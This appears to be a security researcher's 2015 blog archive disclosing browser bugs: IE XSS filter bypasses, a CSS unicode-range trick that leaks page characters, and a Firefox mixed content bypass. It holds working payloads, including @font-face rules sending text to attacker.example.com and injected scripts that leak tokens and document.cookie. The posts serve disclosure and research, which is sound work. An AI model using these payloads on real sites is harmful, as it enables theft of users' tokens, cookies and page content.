Wednesday, December 16, 2015

X-XSS-Nightmare: XSS Attacks Exploiting XSS Filter

In this post, I would like to share XSS attack using IE's XSS filter. This issue was fixed in the December patch by Microsoft. (CVE-2015-6144 / CVE-2015-6176)

I spoke about this topics in the Japanese info-sec conference called CODE BLUE. You can find my name here. In my presentation, I talked about only the concept and I didn't touch details of attack techniques because it was not fixed at that time. 

Today, I can finally release hidden slides! Yeah!
The real X-XSS-Nightmare slides is the following.



Some attack vectors which I have reported are not fixed yet. So, I had to remove some slides :p

You can reproduce some PoC from this page:

http://l0.cm/xxn/


I hope you will enjoy it!

Friday, November 20, 2015

My Presentation at AVTOKYO2015: Bug-hunter's Sorrow

In this post, I'd like to share my slides in AVTOKYO2015. AVTOKYO2015 is a computer security conference which was held in November 14, 2015 at Tokyo.

In September 2013, the incident happened. My internet connection was blocked by ISP because they regarded my XSS request as attack. I spoke about details of that sad story. Also, you can see my income in 2014 and technical details of interesting XSS bugs.




FYI, I spoke about "Bug-hunter's Joy" before. Read it, if you please.
http://mksben.l0.cm/2015/07/codeblue.html

I hope you will enjoy it.
Thank you!

Friday, October 23, 2015

CSS based Attack: Abusing unicode-range of @font-face

In this post, I would like to share about new CSS based attack with unicode-range descriptor of @font-face rule.

Using this technique, an attacker can read page's text partially by CSS only.
An attacker might use this technique in the following cases:

- Browser's XSS filter bypass (e.g. XSS Auditor does not block <style> injection)
- Only CSS injection is allowed in the target page

As far as I know, known CSS based attack can read attribute (See Attribute Reader: http://p42.us/css/) but can't read characters of text node. This vector can do it, not perfect though :)

So far, this vector can be used in Chrome and Firefox Nightly 44.

Let's go:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Let's see another example: http://vulnerabledoma.in/poc_unicode-range2.html

You can see external requests including page text (M,a,s,t,o,K,i,n,u,g,w) from DevTools. Like the following:



As you can see, we can't know duplicated characters. But in some cases like this PoC, I think that it can give an attacker enough information.

I reported this trick to Chrome Team but it has been marked WontFix on Issue 543078.

It seems that this behavior is spec'd. See EXAMPLE 13 of http://www.w3.org/TR/css3-fonts/#composite-fonts.  Due to this behavior, users can save bandwidth. But as the side effect, an attacker got new attack vector.

Tuesday, September 29, 2015

Bypassing IE's XSS Filter with HZ-GB-2312 escape sequence

I would like to share IE XSS Filter bypass with escape sequence of HZ-GB-2312 encoding.

To use this vector, we need the target page's Content-Type header which charset is not specified in.

Bypass 1

PoC:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
No user interaction version:
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

"~[0x0A]" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for "~[0x0A]" .

If Content-Type header has proper charset, it does not work:
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

On the other hand, if meta tag has proper charset, it still works:
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

Bypass 2

"~{" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.

PoC is here:
http://l0.cm/xssfilter_hz_poc.html

Please click the "go" button. You can confirm element.click method is called.

"click" is called from the following code:
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

Also, you can use "toString":
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//

<script>var q="";~{toString:opener.button.click}//"</script>

That's all. See you next month!

Wednesday, August 26, 2015

CVE-2015-4483: Firefox Mixed Content Blocker bypass with feed: protocol

Today, I would like to share details of CVE-2015-4483. This bug was fixed in Firefox 40. Security advisory is here.

Usually, Firefox can block mixed content as follows:
https://mkpocapp.appspot.com/bug1148732/victim


But using feed: protocol and POST method as follows, we can bypass it:

http://l0.cm/fx_mixed_content_blocker_bypass.html
<form action="feed:https://mkpocapp.appspot.com/bug1148732/victim" method="post">
<input type="submit" value="go">
</form>



To use this bug, we need http: resource in target https: website. So, you might think such website is broken from the beginning. But wait! I think this bug affects many websites.

Please go to the following page and see location.protocol:

http://l0.cm/fx_location_protocol_and_feed.html

location.protocol returns "feed:". Next, let's see Google Analytics tracking code.

var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-xxx-y']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
Let's take a look at red js code. If location.protocol is not "https:", insecure ga.js (http://www.google-analytics.com/ga.js) is loaded in the page. Combining with "location.protocol==feed:" trick, what's going to happen? Yes, we can load insecure js via GA tracking code! :)

For example, we can load insecure js in accounts.google.com as follows:
http://l0.cm/google/accounts.google.com_mixedscripting.html

Firefox 40 can block mixed content properly. But it seems that we can still put "feed:" string to protocol part of URL.

Thank you!

Wednesday, July 1, 2015

My Presentation at CODE BLUE: Bug-hunter's Joy

Today, I'd like to share my presentation in CODE BLUE. CODE BLUE is an international information security conference which was held in December 2014 at Tokyo.

I spoke about my life as a bug hunter. You can see my experiences in Google VRP, my income in 2013, technical details of interesting XSS bugs and so on. I hope you will enjoy it.



You can find other great presentations here: http://codeblue.jp/2015/en/archive/2014/

CODE BLUE will be held again this year. More details are available here. Please come to Tokyo :)
Thanks!

Tuesday, June 16, 2015

Bypassing IE's XSS Filter with showModalDialog

Hi there! I'm Masato Kinugawa. Finally, I started my blog in English :)
Also I will continue to write in Japanese as until now: http://masatokinugawa.l0.cm/
Today, I want to share IE's XSS filter bypass with showModalDialog.

showModalDialog function is old and has been removed from the web standards, but it has unique mechanism. I thought it might make my day. That's why I started looking into it.
The function is still supported by IE, Firefox and Safari.

First of all, let's recap usage of showModalDialog.


The first argument is URL which you want to open in the modal dialog.
The second argument is the argument which you want to pass to the modal dialog. And you can use it through window.dialogArguments property in the modal window.


To pass argument through window.dialogArguments, it seems that two windows must be same origin.

But it is different in case of returnValue. Two windows don't have to be same origin in Safari and IE. (Only Firefox needs same origin)

Here is my test page:
http://vulnerabledoma.in/showModalDialog/opener.html

Safari can pass it to different origin simply. Please test from the "x-origin" button.
To reproduce on IE, we need 3xx redirect. Please test from the "x-origin(redirect)" button.

This behavior means that we can pass information to another origin's page via returnValue property in Safari and IE. It might make a hole in some web application. But of course, I don't want to enlighten secure usage of showModalDialog in 2015 :)

Let's go to the main, bypass IE's XSS filter.


Exploitable Conditions:
  1. XSS exists in string literal of JS.
  2. Any JS property contains sensitive information.

The following is my test page:

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

Seeing is believing. Please go to the following PoC using IE:

http://l0.cm/xssfilter_bypass/showModalDialog.html

If it goes well, you can see token strings in alert when you closed the modal dialog.

Let's take a look at details. The redirect takes you to:

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//

The payload is injected:
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>
Then, the token is passed into returnValue. Yeah!!

Needless to say, also it works:

";returnValue=document.cookie//
";returnValue=localStorage.key//

I have tried unsuccessfully to access other page's window object through window.opener. Any idea?

That's all. Understood? :)

FYI, I have blogged about some XSS filter bypass techniques in the past. (Sorry, Japanese text only)
If you are interested in other bypasses, please read using Google Translate.


ブラウザのXSS保護機能をバイパスする(1) (2012/2)
ブラウザのXSS保護機能をバイパスする(2) (2012/3)
ブラウザのXSS保護機能をバイパスする(3) (2012/9)
ブラウザのXSS保護機能をバイパスする(4) (2014/9)
ブラウザのXSS保護機能をバイパスする(5) (2014/10)

I'm going to continue to write blog in English as far as possible. 
Thank you!

Update(2015/6/17)

I found a way to pass other same-origin page's information via returnValue.
Anyway please go to the following page and click the "go" button.

http://l0.cm/xssfilter_bypass/showModalDialog2.html

If it goes well, you can see "<h1>This is secret Text!</h1>" of  other same-origin page's information in alert dialog. In this PoC, we don't need 3xx redirect. It seems that we can set returnValue from x-origin page in iframe which exists in showModalDialog.